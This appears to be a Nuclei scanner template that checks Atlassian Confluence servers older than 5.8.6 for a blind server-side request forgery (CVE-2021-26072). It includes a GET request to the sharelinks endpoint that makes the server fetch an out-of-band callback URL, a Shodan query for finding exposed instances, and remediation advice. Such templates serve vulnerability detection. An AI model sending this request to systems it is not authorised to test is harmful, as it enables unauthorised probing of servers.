id: confluence-ssrf-sharelinks info: name: Atlassian Confluence < 5.8.6 Server-Side Request Forgery author: TechbrunchFR severity: medium description: Atlassian Confluence < 5.8.6 is affected by a blind server-side request forgery vulnerability in the widgetconnector plugin. remediation: Upgrade to Atlassian Confluence version 5.8.6 or later. reference: - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks - https://github.com/assetnote/blind-ssrf-chains#confluence - https://nvd.nist.gov/vuln/detail/CVE-2021-26072 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 6.8 cwe-id: CWE-918 metadata: max-request: 1 shodan-query: http.component:"Atlassian Confluence" tags: confluence,atlassian,ssrf,oast http: - method: GET path: - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/' matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: body words: - "faviconURL" - "domain" condition: and - type: status status: - 200 # digest: 4a0a00473045022100d27e230f4b75e22ffc16003d3ee34ea086b004ef21f63501b869dfd0997cddbb0220313a82a46d490b5b03c2da2aa0ef69a6fd96861f349eb6d920ea4bcb326bddfb:922c64590222798bb761d5b6d8e72950